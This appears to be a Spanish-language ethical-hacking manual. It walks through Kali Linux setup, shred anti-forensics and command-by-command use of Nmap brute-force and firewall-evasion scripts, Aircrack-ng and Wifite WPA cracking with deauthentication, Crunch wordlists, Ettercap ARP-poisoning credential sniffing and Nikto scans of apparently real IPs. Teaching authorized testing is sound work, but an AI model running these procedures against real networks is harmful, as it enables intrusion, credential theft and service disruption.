Road To Hacking
Road To Hacking es una revista o mejor dicho, un manual para todo aquel apasionado/a por el Hacking Ético y quiera adentrarse a este mundo. La idea de RTH fue centrarse en las herramientas más utilizadas para un examen de Pentesting u auditoría con ejemplos de ataques más comunes en la actualidad. Es necesario contar con básicos conocimientos de Linux (moverse por la terminal) para exprimir al máximo esta información, recuerda que todo depende de ti en profundizar y nunca quedarse estancado con la primera información que encuentren. Utilizar herramientas creadas por otros no te hace un script kiddie. Utilizar herramientas creadas por otros con fines dañinos o alardear frente a personas que carecen de conocimientos de este tema, te hace script kiddie.
Road To Hacking es una revista o mejor dicho, un manual para todo aquel apasionado/a por el Hacking Ético y quiera adentrarse a este mundo. La idea de RTH fue centrarse en las herramientas más utilizadas para un examen de Pentesting u auditoría con ejemplos de ataques más comunes en la actualidad. Es necesario contar con básicos conocimientos de Linux (moverse por la terminal) para exprimir al máximo esta información, recuerda que todo depende de ti en profundizar y nunca quedarse estancado con la primera información que encuentren.
Utilizar herramientas creadas por otros no te hace un script kiddie. Utilizar herramientas creadas por otros con fines dañinos o alardear frente a personas que carecen de conocimientos de este tema, te hace script kiddie.
¡Convierta sus PDFs en revista en línea y aumente sus ingresos!
Optimice sus revistas en línea para SEO, use backlinks potentes y contenido multimedia para aumentar su visibilidad y ventas.
KALI
LINUX
- Introducción a Kali Linux
• Características
- Instalación en máquina virtual
• VMware Workstation 16 Player
- La terminal de Linux
• Comandos básicos
- Herramientas
Introducción a Kali Linux
Kali Linux es una distribución basada en Debian
GNU/Linux para pruebas de penetración y auditorías de
seguridad, de tal manera que la convierte en una de las
más avanzadas y poderosas en el mundo del Hacking
Ético. Fue fundada y es mantenida por Offensive
Security Ltd. Kali es una re-construcción de BackTrack,
en los últimos años ha sido mejorada agregando nuevas
actualizaciones, mejorando el soporte, arreglando y
eliminando paquetes saturados, como también ampliando
la cantidad de aplicaciones disponibles.
Kali se volvió un éxito entre los usuarios que se
dedican a esta actividad, por la única razón de su gran
potencial. La principal atracción fue el soporte para
la arquitectura ARM ofrecida por el propio Kali Linux,
a su vez se fue extendiendo soporte a i386 y AMD64. Con
solo 2GB de RAM y mínimo 20GB de almacenamiento puedes
correrlo sin problemas, se pide más para futuras
actualizaciones.
Contiene más de 300 herramientas preinstaladas y se
adaptan a numerosos trabajos, debemos recalcar que a
comparación a otras distribuciones, Kali tiene su
complejidad si se carece de conocimientos de está, de
modo que se recomienda empezar por una distribución más
sencilla de utilizar como lo es Ubuntu o Linux Mint.
Kali Linux no solo se encuentra para PC, sino también
para dispositivos móviles (Kali NetHunter), es preciso
ser root en Android y contar con un dispositivo que
cumpla los requisitos necesarios para su instalación.
Características
Herramientas: Kali Linux proporciona a sus usuarios más de
300 herramientas de pruebas de penetración, entre las
más destacadas: Nmap (escáner de redes), Aircrack-ng
(kit-tolos de hacking para redes inalámbricas),
EtterCap (ataques MITM), Wireshark (analizador de red),
Metasploit (explotación de vulnerabilidades en
equipos), John the Ripper (romper contraseñas por
fuerza bruta), algunas de ellas serán nombradas más
adelante.
Árbol de código abierto: Kali está comprometido con el
desarrollo de código abierto y está disponible para que
todos lo vean y desean modificar-reconstruir paquetes.
Gratuito: Es una distro totalmente gratis y siempre lo
será.
Compatibilidad con varios idiomas: Kali Linux tiene incluido un
soporte multilingüe, permitiendo que los usuarios escojan
su idioma nativo.
Soporte para ARM: Proporciona actualizaciones para
arquitecturas ARM, armel, armhf, y arm64.
Personalizable: Kali Linux ha sido especialmente diseñado
para todo aquel que desee personalizarlo a sus
necesidades, incluyendo el núcleo.
Amplio rango de dispositivos inalámbricos: Su construcción tiene
el objetivo de llegar al mayor soporte posible de
dispositivos inalámbricos, variedad de hardware y
compatibilidad con distintos USB.
Instalación de Kali Linux (VMWARE)
Antes de comenzar con la instalación, debemos de elegir
un software de virtualización para ejecutar nuestra
máquina virtual, en mi caso escogeré VMware (versión
16), el procedimiento también se puede realizar con
VirtualBox.
Sitio oficial de VMware
https://www.vmware.com
Sitio oficial de VirtualBox
https://www.virtualbox.org
Proseguimos a descargar la imagen (ISO) de Kali Linux
desde su sitio oficial.
Descargar Kali Linux 2020
https://www.kali.org/downloads/
Dependiendo de la arquitectura de su procesador (64
bits – 32 bits), seleccionan la adecuada.
La versión “Live” es menos pesada y
esta aplicada para instalar Kali
Linux en un USB booteable sin la
necesidad de tener disco duro, pero
teniendo en cuenta que sus programas
serán más limitados, cualquier cambio
que realices se perderá si no lo
haces persistente. Una de sus
ventajas es que puedes ejecutarlo
desde cualquier computadora (según la
arquitectura) y llevar a cabo las
operaciones. Para crear sistemas de
arranque Live USB te recomiendo
Rufus, LinuxLive USB Creator o
Win32DiskImager.
El primer paso es acceder a VMware y crear nuestra
máquina virtual, para ello le damos a "Create a New
Virtual Machine" y agregaremos la imagen ISO que hemos
descargado.
Seleccionan el tipo de sistema “Linux” y en versión
"Debian".
Daremos clic en "Next" y luego en "Customize Hardware",
este campo nos permite modificar los valores, esto ya
depende de tu máquina física.
Si desean modificar el disco duro, bastaría con darle
clic derecho y a “Setting”. Una vez hecho lo anterior,
encendemos Kali Linux haciendo doble clic en ella y
escogeremos la opción de “Graphical install”.
Seleccionan el idioma y la zona horaria.
Indicamos el nombre de la máquina, luego del dominio,
asignamos un nombre para el nuevo usuario y creamos una
contraseña de administrador (modo root).
Utilizaremos todo el disco.
Si es tu primera vez, te recomiendo "Todos los ficheros
en una partición", aunque si lo deseamos podemos
preferir que el sistema realice tres particiones (home,
/var y /tmp) para instalar.
Muy importante grabar los cambios en los discos.
Se puede customizar el entorno de escritorio, al
seleccionar todo, el tiempo de instalación será mayor,
esto es opcional.
Comenzará a instalarse los respectivos paquetes, la
duración depende de la velocidad del internet.
Nos solicita en que parte del dispositivo pretendemos
instalar el GRUB para que pueda arrancar.
¡Kali Linux instalado con éxito!
Terminal de Linux (COMANDOS)
Al trabajar en "modo consola", "mediante líneas de
comandos", estamos dando instrucciones al sistema para
que realice una acción en formato texto. Lo primero que
haremos es conocer los comandos básicos que existen y
cual es su función en el sistema.
_ Empezaremos por el comando "su" y "sudo", es muy
relevante a la hora de ejecutar un programa.
El comando: "su" nos permite utilizar el intérprete de
comandos (shell) para cambiar de un usuario a otro sin
la necesidad de cerrar la sesión actual. Mientras que
el comando: "sudo" permite a los usuarios ejecutar un
programa pero con privilegios de administrador (root),
debemos estar conscientes de cuando usarlo.
_ Anteriormente he dicho que "su" nos permite cambiar a
otro usuario, al instalar Kali solo tenemos un usuario
(en mi caso "whoami"). El comando: "adduser/useradd"
permite añadir un nuevo usuario al sistema con las
opciones por defecto, de acuerdo a la configuración en
/etc/adduser.conf. Para crear un grupo utilizamos:
"addgroup", y "groupdel" para eliminarlo.
_ Para cambiar de directorio usamos: "cd", si deseamos
volver hacia atrás: "cd .. ".
_ Con: "ls" podemos ver los archivos y directorios que
tenemos dentro del directorio posicionado y con "ls –l"
podemos ver permisos del directorio, fecha y hora.
_ Crear carpeta/directorio con: "mkdir nombre".
_ Eliminar carpeta: "rmdir nombre", con: "rm –rf nombre"
lo hacemos junto a su contenido dentro, "rm –f nombre"
es para eliminar un fichero.
_ Renombrar o mover fichero/carpeta: "mv nombre
new_nombre".
_ Para tener una información precisa sobre quién ha
iniciado sesión en el sistema: "who"
_ El comando: "w" muestra información más detallada,
cuánto tiempo lleva el sistema activo, y la cantidad de
usuarios conectados.
_ Cambiar la propiedad de los archivos y directorios:
"chown user fichero/directorio".
_ Cambiar los permisos de archivos y directorios: "chmod
xxx xxx".
Ej: chmod –R install.txt
"-R" asigna todos
los permisos.
_ Reiniciar la máquina: "reboot" y apagar: "poweroff".
_ Descomprimir archivos ".tar.gz": "tar -xzvf
archivo.tar.gz".
_ Descomprimir archivos ".rar": "unrar x archivo.rar".
Descargar unrar: sudo apt-get install unrar
_ Descomprimir archivos ".tar": "tar xvf archivo.tar".
_ Descomprimir archivos ".zip": "unzip archivo.zip".
_ Comprimir archivos ".zip": "zip archivo.zip".
_ Comprimir archivos "rar": "rar –a archivo.rar
*ficheros*".
Descargar rar: sudo apt-get install rar
_ Comprimir archivos ".tar": "tar -cvf archivo.tar
/home/archivo/".
_ Comprimir archivos ".tar.gz": "tar -czvf
archivo.tar.gz /home/archivo/".
_ Mostrar estado del sistema y procesos ejecutándose
(CPU): "top".
_ Actualizar paquetes: "apt-get update".
_ Desplegar interfaces de red: "ifconfig".
_ Información sobre la red inalámbrica: "iwconfig".
_ Cerrar un programa a la fuerza: "kill".
_ Diagnosticar estado de una conexión: "ping
google.com".
_ Descargar archivos de internet: "wget
https://ejemplo.com/archivo.zip".
_ Escribir texto en la ventana de la terminal: "echo
Hola, soy Raúl".
_ Mostrar lista de las particiones montadas: "df –h".
_ Instalar/actualizar un paquete deb: "dpkg –i
paquete.deb".
_ Eliminar un paquete deb del sistema: "dpkg –r
paquete.deb".
_ Limpiar cache: "apt-get clean".
_ Limpiar la pantalla de la terminal: "clear".
_ Memoria utilizada y disponible en el sistema: "free".
_ Localizar archivos: "find /home/whoami –name
‘archivo.txt’".
_ Fdisk es una herramienta que nos permite realizar
diferentes acciones en el disco duro. Podremos crear,
eliminar, mover y redimensionar particiones.
fdisk -l
fdisk /dev/sda
Ver todas las particiones
Crear una nueva partición
Una vez dentro, debemos de pulsar
la “m” para poder visualizar las
distintas opciones que nos
ofrece. Para crear una nueva
partición debemos de pulsar la
"n", luego seleccionan el tipo de
partición (extendida o primaria),
lo mismo hacen con el tamaño,
pueden optar por dejarlo por
defecto.
sudo partprobe
mkfs.ext4 /dev/sda4
sudo mount /dev/sda4
sudo umount /dev/sda4
Releer las particiones en
el disco.
Formatear partición.
Montar partición.
Desmontar partición.
Para eliminar una partición debemos acceder
nuevamente a "fdisk /dev/sda", pulsamos la
letra "d" y escribimos el número de la
partición.
SHRED - AntiForense
La herramienta shred es conocida por su alta capacidad
de destrucción de archivos, siendo difícil la
recuperación de la misma por técnicas de informática
forense. Su funcionalidad es sobrescribir cuantas veces
sea posible un archivo o dato con infinidades de
patrones de texto, convirtiendo el original por otro
completamente distinto.
Comandos
El siguiente comando muestra el manual completo de la
herramienta:
man shred
Sobrescribir un archivo con caracteres aleatorios:
shred "nombre-del-archivo"
El ejemplo anterior no se utilizaron parámetros especiales,
ya de por si se encarga de añadir caracteres por defecto
(25). Si quisiéramos eliminar el fichero, es tan simple con
usar el siguiente parámetro:
shred -u "nombre-del-archivo"
El parámetro “-n” se utiliza para sobrescribir el archivo
cuantas veces le indiquemos, incluyendo todo el contenido
del disco o partición:
shred -n 10 "nombre-del-archivo"
shred -n 50 "disco"
Activar el verbose permitirá mostrar detalladamente el
proceso por detrás:
shred -v -n 10 "nombre-del-archivo"
Con “-z” indicamos la última pasada escribiendo todos ceros
(0) para ocultar el borrado seguro de datos y no dejar
rastros:
shred -n 10 -u -v -z "nombre-del-archivo"
El parámetro “-f” se utiliza para cambiar los permisos del
fichero, en caso de ser necesario, para permitir escritura.
En cuyo caso de que solo quisiéramos sobrescribir algunos
bytes en especifico, utilizar "–s":
shred -s 10 "nombre-del-archivo"
Herramientas
Como mencione anteriormente, Kali contiene una gran
variedad de herramientas que ya vienen implementadas
por defecto, algunas son más utilizadas que otras
dependiendo de las necesidades de uno, es por eso que
hablaré sobre ellas y su funcionamiento.
Nmap (Network Mapper) es una herramienta gratis y de
código abierto diseñada para realizar auditorías de red
en busca de puertos abiertos, servicios que corren en
él y explotación de los mismos, sistemas operativos y
su versión, tipo de firewall utilizando y detectar
vulnerabilidades.
Guía básica
NMAP
Comenzaremos realizando un escaneo básico a un
determinado host (IP o URL):
El escaneo nos muestra que hay 996 puertos
filtrados, 3 abiertos (80, 554, 8000) y 1
cerrado (443), también los servicios
corriendo de cada uno.
Tenemos la posibilidad de escanear varias máquinas a
la vez:
Máquina-1
Máquina-2
Escanear red o subred por completo “/24”:
sP (Sondeo Ping): esta técnica se utiliza para
detectar equipos activos dentro de la red:
nmap -sP "dirección IP"
TCP Syn: con la opción “-sS” podemos realizar un
escaneo sigiloso sin dejar registros en la máquina
objetivo, a su vez, permite saltarse reglas
establecidas por el cortafuegos. Si recibe una
respuesta de tipo SYN/ACK indica que el puerto está en
escucha (abierto), si la respuesta es RST(Reset)
indica que no hay nada escuchando en el puerto.
nmap -sS "dirección IP"
Sondeo TCP Connect: permite realizar el mismo sondeo
que Syn, la llamada de Connect puede dejar registros
de nuestra actividad en la máquina objetivo, de tal
manera que no es muy recomendable. Encuentra el equipo
activo y sus puertos disponibles.
nmap -sT "dirección IP"
Sondeo UDP: este tipo de sondeo envía mensajes sin
datos al protocolo UDP en busca de servicios
vulnerables, si lo comparamos con TCP es más lento y
difícil, puede combinarse con el sondeo tipo Syn. Si
se obtiene un error ICMP
indica que el puerto no es alcanzable.
nmap -sU "dirección IP"
Sondeo FIN, Null y Xmas: este tipo de escaneos es útil
para saltar cortafuegos sin estado y filtrado de
paquetes. Si se recibe un paquete RST indica que el
puerto está cerrado, si esta abierto no dará ninguna
respuesta.
- Escaneo FIN(sF): lleva la bandera TCP FIN.
- Escaneo Null(sN): no se fija ningún bit o bandera.
- Escaneo Xmas(sX): se envían banderas FIN, PSH, URG.
nmap -sN "dirección IP"
nmap -sF "dirección IP"
nmap -sX "dirección IP"
Sondeo TCP ACK: este escaneo no revelara si los
puertos están abiertos, el objetivo es detectar el
tipo de firewall que tenemos enfrente. ACK prueba
paquetes con la bandera ACK activa, si el puerto
devuelve un paquete RST, es alcanzable:
nmap -n -v -sA "dirección IP"
"-n" esquivar resolución DNS
"-v" recibir una respuesta más
destallada, "-vv" aumenta aún
más
Sondeo de protocolo IP: muestra el tipo de sistema
operativo de la víctima:
nmap -O "IP/URL"
Cambiar MAC: falsificar dirección MAC para ocultar las
sondas de Nmap:
nmap --spoof-mac "MAC" "IP"
Dato: si argumentamos una
dirección MAC “0” generará
una dirección MAC aleatoria
Obtener dirección IP y MAC de los equipos en la red:
nmap -sn "IP/24"
SCRIPTS PARA ESCANEAR VULNERABILIDADES
Script Safe: obtener información detallada de la
dirección IP del router, nombre del dominio de red, etc.
nmap --script safe "IP/URL"
Script Default: ejecuta los scripts por defecto, depende
de la velocidad, privacidad, intrusión y confiabilidad.
nmap --script default "IP/URL"
El puerto 22 de SSH nos brinda la llave
(key) de su conexión
Script Vuln: brinda información sobre alguna
vulnerabilidad que está expuesta el equipo.
El puerto 80 presenta
una vulnerabilidad de
DoS (Denegación de
Servicio)
nmap --script vuln "IP/URL"
Script All: ejecuta todos los scripts disponibles, puede
generar registros en el sistema.
nmap --script all "IP/URL"
Script Auth: verifica si existen usuarios con
contraseñas vacías o por defecto, autenticación SSH,
hashes, inicio de sesión predeterminadas, omisión de
inicio de sesión VNC.
En mi caso no tuve alguna
respuesta positiva. Generalmente
el puerto "3306" suele ofrecer
una lista de usuarios MySQL
cuando éste es vulnerado
nmap --script auth "IP/URL"
Script HTTP-Enum: enumera todos los directorios y
archivos alojados en servidores y aplicaciones web.
nmap –script=http-enum "IP/URL"
Script FTP-Brute: realiza auditorías de contraseñas de
fuerza bruta contra el protocolo FTP.
nmap –script=ftp-brute -p 21 "IP"
Este script va acompañado de argumentos. Con el script
de "args" le indicamos que atributos va a utilizar para
el ataque. Por ejemplo, en caso de querer elegir un
diccionario para los usuarios y contraseñas:
nmap --script=ftp-brute --script-args userdb= "users.txt",passdb= "pass.txt" -p 21 "IP"
Ruta del diccionario de usuarios
Ruta del diccionario de contraseñas
ARGUMENTOS:
• ftp-brute.timeout: cantidad de tiempo para esperar una
respuesta en el socket (predeterminado: 5s).
• brute.delay: cantidad de segundos de espera.
• brute.retries: cantidad de veces a reintentar si
ocurren fallas recuperables (predeterminado: 2).
• brute.delay: cantidad de segundos de espera.
• brute.start: número de subprocesos con los que
arrancará el motor (predeterminado: 5).
• brute.userpass: adivina el nombre de usuario como
contraseña para cada usuario (predeterminado: true).
• brute.guesses: números de intentos para cada cuenta
(predeterminado: 0 / ilimitado).
• brute.credfile: genera un fichero con usuarios y
contraseñas obtenidas delimitadas por "/“.
Script SSH-Brute: realiza auditorías de contraseñas de
fuerza bruta contra el protocolo SSH.
nmap –script=ssh-brute -p 22 "IP"
Al igual que el script FTP, también puede ser acompañado
con argumentos:
nmap --script=ssh-brute --script-args userdb= "users.txt",passdb= "pass.txt" -p 22 "IP"
Script DNS-Brute: enumera todos los nombres de host DNS
mediante fuerza bruta de subdominios comunes.
nmap –script=dns-brute "IP/URL"
La enumeración de DNS se utiliza
con el fin de obtener la mayor
cantidad de información posible,
sobre los diferentes tipos de
registros que se almacenan en la
información de zonas de un
servidor DNS. Los DNS se pueden
envenenar y redirigir al usuario
a un sitio fraudulento.
Script Firewall-Bypass: detecta vulnerabilidades en
firewalls utilizando "helpers", ya sea IPv4 o IPv6, para
abrir puertos en protocolos FTP o SIP. El script
falsifica paquetes que son enviados desde un servidor
destino, solicitando abrir una conexión desde un puerto
específico, mismo que será realizado desde el firewall a
través del puerto auxiliar del protocolo.
nmap -n -Pn -v --script firewall-bypass --script-args firewall-bypass.helper= "ftp",firewall-bypass.target=22 "IP/URL"
De ser exitoso, se presentará
un mensaje de "Firewall
vulnerable a evasión mediante
un ayudante FTP"
ARGUMENTOS:
• firewall-bypass.helper: es el ayudante a utilizar, su
valor predeterminado es FTP.
• firewall-bypass.target-port: puerto sobre el cual
evaluar la vulnerabilidad. En caso de no definirlo, el
script intentara buscar un puerto abierto o filtrado
durante el lescaneo.
• firewall-bypass.helperport: si no se utiliza el puerto
por defecto del ayudante.
Script HTTP-WordPress-Brute: realiza una auditoría de
contraseñas mediante fuerza bruta contra usuarios y
contraseñas de cuentas WordPress.
nmap -sV --script http-wordpress-brute --script-args userdb='users.txt',passdb='pass.txt’ "IP/URL"
Script HTTP-WordPress-Enum: enumera todos los temas y
complementos en las instalaciones de WordPress. El
script es capaz de encontrar complementos antiguos y
enumerar la versión de cada uno.
nmap --script http-wordpress-enum --script-args type="plugins" "IP/URL"
Enumerar todos los plugins
PLUGINS
TEMAS
--script-args type="themes"
ARGUMENTOS:
• http-wordpress-enum.type: tipo búsqueda (temas,
plugins, todo (all)).
• http-wordpress-enum.search-limit: número de resultado
a mostrar en caso de elegir "all" (predeterminado:
100).
• smbdomain: dominio con el que inicia sesión.
• smbusername: nombre de usuario de SMB para iniciar
sesión.
• smbpassword: contraseña para conectarse al SMB.
• http.useragent: especificar encabezado al enviar
solicitudes (predeterminado: Morzilla/5.0).
Script HTTP-WAF-Detect: detecta si un servidor web está
protegido con IPS (Sistema de prevención de
intrusiones), IDS (Sistema de detección de intrusiones)
o WAF (Cortafuego de aplicaciones web) sondeando el
servidor web con cargas maliciosas y detectando cambios
del código de respuesta.
nmap -p 80,443 --script=http-waf-detect "IP/URL"
Script FTP-vsFTPd-Backdoor: prueba la presencia de una
puerta trasera vsFTPd del puerto 21. Este tipo de
vulnerabilidad es una de las más explotadas en el que
devuelve una shell interactiva al atacante.
nmap --script=ftp-vsftpd-backdoor -p 21 "IP/URL"
Nmap también nos devuelve en el informe el código
del exploit y otras referencias
ARGUMENTOS:
• ftp-vsftpd-backdoor.cmd: se utiliza para ejecutar una
Shell (predeterminado: id).
• vulns.short: en caso de que sea vulnerable, se
mostrará en formado corto, en una sola línea que
muestre la dirección IP, el estado y el ID de CVE.
Script SMB-Vuln-MS17-010: prueba la presencia de la
vulnerabilidad de EternalBlue en un servidor Microsoft
SMBv1, misma que será explotada más adelante con
Metasploit.
nmap --script smb-vuln-ms17-010 -p 445 "IP"
ARGUMENTOS:
• smb-vuln-ms17-010.sharename: compartir nombre para
conectarse (predeterminado: IPC$).
• smbdomain: especificar dominio con el que iniciar
sesión.
• smbnoguest: deshabilitar la cuenta de "invitado".
• smbpassword: contraseña para conectarse al servidor.
Al ingresar varias contraseñas simultáneamente puede
provocar que el servidor bloqueé la cuenta.
• smbusername: nombre de usuario para iniciar sesión al
servidor SMB.
• smbport: especificar el puerto SMB, se supone que si
está abierto utiliza el puerto 445.
AIRCRACK-NG
Aircrack-ng es una suite de seguridad inalámbrica que
nos permite realizar diferentes ataques para crackear
claves WEP y WPA/WPA2-PSK. Aplica varias técnicas de
ataques para descifrar claves WEP: FMS (Fluhrer,
Mantin, Shamir), Korek ChopChop.
Para crackear claves WPA/WPA2-PSK se utiliza la
combinación de contraseñas a través de fuerza bruta,
también es aplicada a WEP, es necesario usar un
diccionario para este método. Está técnica no solo se
utiliza para WiFi, también para obtener credenciales de
redes sociales. Con el paso de los años se ha dejado de
utilizar por el simple hecho del tipo de cifrado que
contenga la password, el tiempo que requiere, sistema
de alerta de intrusión (Facebook, Instagram, Twitter,
etc), otros nuevos métodos (Phishing).
Lista de herramientas que contiene Aircrack-ng:
• airbase-ng
• aircrack-ng
• airdecap-ng
• airdecloak-ng
• airdriver-ng
• aireplay-ng
• airmon-ng
• airodump-ng
• airolib-ng
• airserv-ng
• airtun-ng
• easside-ng
• packetforge-ng
• tkiptun-ng
• wesside-ng
• airdecloak-ng
Entre las más utilizadas:
Aircrack-ng: descifrar contraseñas.
Aireplay-ng: generar tráfico, ataque de
desautenticación.
Airodump-ng: capturar paquetes.
Airmon-ng: convertir nuestra tarjeta
inalámbrica en modo monitor.
Antes de seguir con el procedimiento, es necesario
contar con un adaptador/tarjeta de red compatible con
kali linux, de esta forma conseguiremos que nos
reconozca las redes inalámbricas de nuestro alrededor,
dado que la máquina virtual solo reconoce conexión
cableada por parte de la máquina física.
Tenda TP-Link Alfa
Cracking WPA/WPA2-PSK | Fuerza Bruta
Debemos comprobar nuestro adaptador:
airmon-ng
Una vez detectado, agregamos la tarjeta en modo
monitor:
airmon-ng start wlan0
Matar procesos que pueden causar problemas:
airmon-ng check kill
Capturar los datos de la red objetivo:
airodump-ng *interfaz*
airodump-ng wlan0mon
Luego de identificar la red, presionan CTRL + C. A
continuación, comenzaremos a capturar los paquetes.
Anotamos los siguientes datos de la red:
airodump-ng -c 7 --bssid "XX:XX:XX:XX:XX:XX" --write "nombre" "Interfaz"
IMPORTANTE
No cierren esta terminal.
A continuación, iniciaremos un ataque desautenticación
para expulsar a los clientes de la red, nos permitirá
recoger el handshake y facilitar dicho ataque:
aireplay-ng -0 15 -a XX:XX:XX:XX:XX:XX -e "nombre" "Interfaz"
Cantidad de paquetes a
enviar, con 1 se envían
continuamente, provocando
un Dos (Denegación de
Servicio) a la conexión
Volveremos a la terminal anterior y observaremos el
handshake capturado, pulsamos CTRL + C:
El último paso es descifrar la contraseña por fuerza
bruta:
aircrack-ng Reliant-01.cap –w wordlist.txt
Nombre del archivo generado
con airodump-ng
Nombre de nuestro diccionario
Contraseña encontrada ¡KEY FOUND!
El tiempo que requiere en encontrar la
contraseña dependerá de que tan
compleja sea, lo ideal es tener un
diccionario extenso en el cual podamos
combinar diferentes palabras para dar
con la misma.
WIFITE
Wifite es un script completo creado en Python para
auditar redes inalámbricas. Utiliza una gran variedad
de métodos conocidos para recuperar una contraseña de
acceso inalámbrico.
Métodos:
• WPS: Ataque sin conexión Pixie-Dust.
• WPS: Ataque de PIN de fuerza bruta en línea.
• WPA: El WPA Handshake Capture + crack sin conexión.
• WPA: El WPA Handshake Capture + crack sin conexión.
• WEP: Diferentes ataques conocidos contra WEP, incluyendo
fragmentación, chop-chop, aireplay, etc.
Antes de iniciar la herramienta debemos colocar la
tarjeta en modo monitor:
Iniciamos el script:
airmon-ng start wlan0
sudo wifite
Se desplegará una lista de redes cercanas, por un lado nos
muestra el alcance (poder de conexión), verifica si tiene el
WPS activado y los clientes conectados. Seleccionamos la red
objetivo que deseamos atacar.
¡WPS cracked!
Advertencia
El WPS activado puede implicar una vulnerabilidad
grave para nuestra red inalámbrica, se aconseja que
se desactive. Su función es facilitar una conexión
para otros usuarios de confianza a través del
método PIN, éste requiere de 8 dígitos en lugar de
la contraseña completa.
Para desactivar el WPS nos dirigimos a la configuración
de nuestro módem/router y lo hacemos desde allí, no
todos son iguales.
Se ingresa a través
de nuestra dirección
IP Local (192.168.1.1)
desde el navegador
CRUNCH
Crunch es una herramienta para generar una lista de
palabras (diccionarios / wordlist) para ser usado en
fuerza bruta. Es capaz de generar diccionarios con
distintos parámetros, admite números, símbolos,
mayúsculas y minúsculas. Realiza todas las
combinaciones que estén a su alcance tomando la palabra
clave.
Normalmente, crunch ya viene instalado en Kali,
pero si pretenden instalarlo en otra distro:
sudo apt-get install crunch
Comandos básicos
Generar un diccionario que contenga palabras con una
longitud mínima y máxima:
crunch 2 5
Longitud mínima
Longitud máxima
Generar una lista de palabras que solo contenga letras:
crunch 2 6 abcdefghij
Crear una lista de palabras que contenga solo números:
crunch 2 7 1234567890
Especificar la ubicación para guardar el diccionario:
cd "Directorio"
crunch 2 6 abcdef098 -o wordlist.txt
Nombre del diccionario
Supongamos que la víctima utilizó un nombre u otro
carácter al final o inicio de una contraseña, podríamos
generar todas las posibilidades de contraseñas para dar
con ella.
crunch 9 9 -t @@@@linux -o dic.txt
"-t" => permite especificar un patrón
"@" => incluir caracteres en minúsculas
"," => incluir caracteres en mayúsculas
"%" => incluir números
"^" => incluir símbolos
Crear una lista de palabras utilizando el archivo
charset.lst, contiene un grupo de caracteres para
generar una lista más compleja:
Directorio: /usr/share/crunch/
cat: Expresar la lista almacenada en
charset.lst
Algunas de ellas:
• Numeric
• Ualpha
• Ualpha-numeric
• Symbols14
• Lalpha-sv
• Mixalpha
• Mixalpha-numeric
Ej: generar un diccionario que contenga letras de
alfabeto inferior junto con un patrón numérico:
crunch 2 5 -f /usr/share/crunch/charset.lst lalpha-numeric -o diccionario.txt
-f: Específica el juego de
caracteres
Generar una lista de palabras con una serie de una o
varias palabras:
crunch 3 7 -p hacking is art
“-p”: Generar palabras que no contengan
caracteres repetidos
-i: Invertir la salida (output) de la lista:
crunch 1 3 abcdef -i -o wordlist.txt
Crear un diccionario comprimido [gzip, bzip2, lzma, y 7z]:
crunch 8 8 abcdefgh -z bzip2 -o wordlist.txt
Ejecutar manual de crunch: "man crunch".
ETTERCAP
Ettercap es una herramienta potente y muy usada para
realizar ataques MITM contra una red, manipular el
tráfico HTPP, HTTPS y SHH. El objetivo es auditar la
seguridad de la red/host en busca de conexiones
activas, filtraciones de contraseñas u otros datos
relevantes para el atacante.
¿Qué es un ataque MITM?
Un ataque de hombre en medio (abreviado MITM) es un
método sigiloso donde el atacante interviene el tráfico
de datos que viajan en la red, es aprovechada por los
ciberdelincuentes para obtener credenciales de redes
sociales, cuentas bancarias, emails, registrar sitios
visitados, entre otras.
La víctima intenta crear una conexión codificada con el
servidor web pero, el atacante intercepta la conexión y
la desvía, realmente lo que hace la víctima es enviar
los datos primero al atacante y este se lo envía al
servidor web, desencripta los datos y hace con ellos lo
que quiera antes de que lleguen.
Abrimos ettercap desde el menú o en la terminal
"ettercap -G", seleccionamos la interfaz conectada a la
red y después le damos “Aceptar”.
Luego, vamos a Menú > Host > Scan host > Hosts list
Dentro se encuentra las direcciones IP y MAC de los
equipos (incluyendo el router) activos de la red,
seleccionamos la IP del equipo a atacar y pulsamos “Add
to Target 1”, después el router “Add to Target 2”.
Una vez que ya tenemos los objetivos marcados, debemos
de aplicar el envenenamiento del protocolo ARP para que
la víctima me mande el tráfico primero a mí.
Menú MITM > ARP poisoning
Marcamos la opción “Sniff remote
connections” y damos aplicar.
Le damos a "Start sniffing" y lo dejamos esnifando el
tráfico.
RESULTADO
En pantalla se muestra las credenciales obtenidas, en
el caso de HTTPS tendríamos que hacer uso de SSLstrip
para engañar al servidor y el tráfico HTTPS
convertirlo en HTTP.
NIKTO
Nikto es un escáner de vulnerabilidades de servidores
web, realiza un escaneo completo en busca de archivos y
directorios peligrosos. Soporta SSL, LibWhisker IDS y
una configuración de proxy para hacerlo bajo anonimato.
Permite guardar la información detallada en una
variedad de formatos HTML, CSV, XML, NBE y registros
para Metasploits.
Iniciar nikto y mostrar las opciones que ofrece:
nikto -Help
Realizar un escaneo básico:
nikto -h "URL/IP" -p "PORT"
Opción “-h” indica la
dirección IP o nombre
del host a escanear.
Opción “-p” indica el
número de puerto donde
se aloja el servidor
web. El protocolo HTTP
utiliza el puerto 80 y
el HTTPS 443.
El host está opuesto a un ataque de Cross-Site Tracing (XST) por
el hecho de tener el método TRACE activado. Esté es aprovechado
para robar credenciales de usuarios legítimos por medio de
peticiones que hagamos en el protocolo http.
Nikto por defecto prueba HTTP normal y sigue con HTTPS,
si el servidor es SSL, especificar con -ssl.
nikto -h 200.0.183.169 -p 443 -ssl
La cabecera Content-Encoding está configurado para “desinflar”,
el servidor podrá enviar archivos solicitados al cliente
comprimidos o no. Es vulnerable al ataque BREACH, consiste en
realizar peticiones al sitio atacado y recibir una respuesta
https (direcciones de correos electrónicos, IDS de usuarios y
tokens de autenticación).
Escanear varios puertos a la vez, ejecutamos nmap para
descubrir los que están corriendo en él.
A continuación, probamos más de un puerto en el mismo
host:
nikto -h 186.104.43.152 -p 80,443
Los archivos robots.txt son un mecanismo para evitar que ciertos
bots sobrecarguen el sitio web y obtengan información de la misma
Transmitir todas las conexiones a través del proxy
HTTP.
Especificar el archivo de configuración:
nikto -h 186.104.43.152 -p 80 -useproxy
nikto -h http://186.104.40.64 -useproxy http://127.0.0.1:8080/
Guardar información del escaneo en un documento de
texto:
nikto -h 186.104.43.152 -p 80 -o resultado.txt
Obtener información de reportes en formato HTML:
nikto -h 186.104.43.152 -p 80 -o html
Deshabilitar las búsquedas de DNS para no dejar
evidencia de la petición, es importante especificar la
dirección IP y no el nombre del dominio.
nikto -h 186.104.43.152 -nolookup
Especificar el tiempo de segundos que Nikto esperará
luego de una petición:
nikto -h 186.104.43.152 -timeout 5
Lista de plugins disponibles:
nikto -list-plugins
Ejemplo:
nikto -h 186.104.43.152 -Plugin @@ALL
Utiliza todos los
plugins
